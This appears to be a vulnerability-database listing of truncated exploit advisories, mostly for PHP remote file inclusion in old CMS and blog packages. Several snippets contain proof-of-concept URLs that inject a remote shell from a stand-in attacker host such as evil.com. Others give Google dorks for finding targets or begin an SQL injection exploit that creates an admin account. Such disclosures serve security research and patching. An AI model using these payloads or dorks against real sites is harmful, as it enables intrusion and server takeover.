JAF CMS 4.0 RC1 - Multiple Remote File Inclusions

JAF CMS 4.0 RC1 - Multiple Remote File Inclusions =========================================================================================== JAF CMS Remote file include website =========================================================================================== Script name : JAF CMS Versi...

syntaxCMS.txt

Remote File Include in syntaxCMS Vulnerable File: 0004initurls.php Vulnerable Code: 1 PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remove This File...it's not needed...just used for tests Found by MoHaJaLi Greetz to EddyBAck...

Dayfox Blog v2.0 Remote file include

BiyoSecurity.Org script name : Dayfox Blog v2.0 Risk : High Regards : Dj ReMix Thanks : Korsan , Liz0zim Vulnerable files : adminlog.php postblog.php index.php index2.php Vulnerable code : includeonce $sloginpath . "/sloginlib.inc.php"; includeonce $sloginpath . "/header.inc.php"; Exploit :...

Tagmin C.C 2.1.B Remote File Include

Tagmin C.C 2.1.B Remote File Include +Advisory 3 +LMS 1.12 Sql Injection +Product :Tagmin Control Center 2.1.B +Develop: http://ds3.bbminc.net/tagit2b/ +Dork: inurl:"/tagit2b/" +Vulnerable: Remote File Include +Risk:High +Discovered:by Kernel-32 +Contact: [email protected] +Homepage:...

TagIt! Tagboard <= 2.1.b b2 (index.php) Remote File Include Vulnerability

No description provided by source. Tagmin C.C 2.1.B Remote File Include +Advisory 3 +Product :Tagmin Control Center 2.1.B +Develop: http://ds3.bbminc.net/tagit2b/ +Dork: inurl:"/tagit2b/" +Vulnerable: Remote File Include +Risk:High +Discovered:by Kernel-32 +Contact: [email protected]...

Newswriter SW <= 1.42 (NWCONF_SYSTEM[server_path]) Remote File Inclusion Vulnerability

============================================================================================== Newswriter SW = 1.42 NWCONFSYSTEMserverpath Remote File Inclusion Vulnerability =============================================================================================== Critical Level : Dangerous...

[Full-disclosure] Remote File Include in syntaxCMS

Remote File Include in syntaxCMS Vulnerable File: 0004initurls.php Vulnerable Code: 1 ?php 2 includeonce $initpath . '/init.urls.php' ; 3 ? PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remove This File...it's not needed...ju...

SyntaxCMS <= 1.3 (0004_init_urls.php) Remote File Include Vulnerability

No description provided by source. Remote File Include in syntaxCMS Vulnerable File: 0004initurls.php Vulnerable Code: 1 ?php 2 includeonce $initpath . '/init.urls.php' ; 3 ? PoC: http://www.poweredbysyntaxcmssite.com/admin/testing/tests/0004initurls.php?initpath=http://YourShell?& Solution: Remo...

PowerNews v1.1.0 (nbs) Remote File Inclusion

PowerNews v1.1.0 nbs Remote File Inclusion Affected Software .: PowerNews v1.1.0 Download..: http://sourceforge.net/project/showfiles.php?groupid=35550 Class .............: Remote File Inclusion Risk ..............: high Found by ..........: CvIr.System Contact ...........: CvIr.Systematgmail.com...

AzzCoder => PNphpBB (Latest) Remote File Include

Vendor: http://www.pnphpbb.com/ Vulnerable File: includes/functionsadmin.php Vulnerable Code: //The phpbbrootpath isn't initialize includeonce $phpbbrootpath . 'includes/functions.' . $phpEx ; Method To Use:...

PNPHPBB2 1.2g - phpbb_root_path Remote File Inclusion

PNPHPBB2 1.2g - phpbbrootpath Remote File Inclusion Yeah, another ZeroDay Smile Vendor: http://www.pnphpbb.com/ Vulnerable File: includes/functionsadmin.php Vulnerable Code: //The phpbbrootpath isn't initialize includeonce $phpbbrootpath . 'includes/functions.' . $phpEx ; Method To Use:...

aeDating 4.1 - dir[inc] Remote File Inclusion

aeDating 4.1 - dirinc Remote File Inclusion AEDating all versions Remote File inclusion. Vulnerable code: /inc/design.inc.php /inc/admindesign.inc.php requireonce "$dirincdb.inc.php" ; requireonce "$dirincprof.inc.php" ; Exploit:...

aeDating 4.1 - dir[inc] Remote File Inclusion

AEDating all versions Remote File inclusion. Vulnerable code: /inc/design.inc.php /inc/admindesign.inc.php requireonce "$dirincdb.inc.php" ; requireonce "$dirincprof.inc.php" ; Exploit: http://site.com/scriptpath/inc/design.inc.php?dirinc=http://evil.com/shell.txt?...

phpunity.txt

phpunity.postcard phpunity-postcard.php Remote File Inclusion Exploit Affected Software .: phpunity.postcard Vendor ............: http://www.perlunity.de/ Class .............: Remote File Inclusion Risk ..............: high Remote File Execution Found by ..........: Rivertam Contact ...........:...

phpunity.postcard (gallery_path) Remote File Include Vulnerability

No description provided by source. phpunity.postcard phpunity-postcard.php Remote File Inclusion Exploit Affected Software .: phpunity.postcard Vendor ............: http://www.perlunity.de/ Class .............: Remote File Inclusion Risk ..............: high Remote File Execution Found by...

phpBB XS 0.58 - functions.php Remote File Inclusion

phpBB XS 0.58 - functions.php Remote File Inclusion Author: AzzCoder Vendor: http://www.phpbbxs.eu/ Vulnerable File: includes/functions.php Vulnerable Code: //The phpbbrootpath isn't initialize includeonce $phpbbrootpath . './includes/functionscategorieshierarchy.' . $phpEx ; Method To Use:...

CMS Frogss <= 0.4 (podpis) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================= CMS Frogss = 0.4 podpis Remote SQL Injection Exploit ======================================================= ?php echo "+"; echo "+\r\n"; echo "- - - DEVIL TEAM THE BEST POLISH TEAM -...

plume-1.0.6.txt

Plume CMS Multiple Remote File Include Vulnerabilities Vulnerable Versions: Plume CMS = 1.0.6 Vendor: Plume CMS http://plume-cms.net -Vulnerable Code include $PXconfig'managerpath'.'/directory/file.php'; -Files Affected ./articles.php ./categories.php ./index.php ./news.php ./prefs.php ./sites.ph...

CMS Frogss 0.4 - 'podpis' SQL Injection

?php echo "+"; echo "+\r\n"; echo "- - - DEVIL TEAM THE BEST POLISH TEAM - -\r\n\r\n"; echo "+\r\n"; echo "+"\r\n"; echo "+\r\n\r\n"; echo "- CMS frogss = 0.4 podpis SQL Injection Exploit creat new admin"\r\n"; echo "+"\r\n"; echo "+"\r\n"; echo "+"\r\n"; echo "- Script name: CMS frogss...

iziContents-php.txt

!/usr/bin/php -q -d shortopentag=on include/rssfunctions.php line 32-40: .... $GLOBALS"rootdp" = './'; requireonce $GLOBALS"rootdp"."include/config.php"; requireonce $GLOBALS"rootdp"."include/db.php"; requireonce $GLOBALS"rootdp"."include/session.php"; includeonce...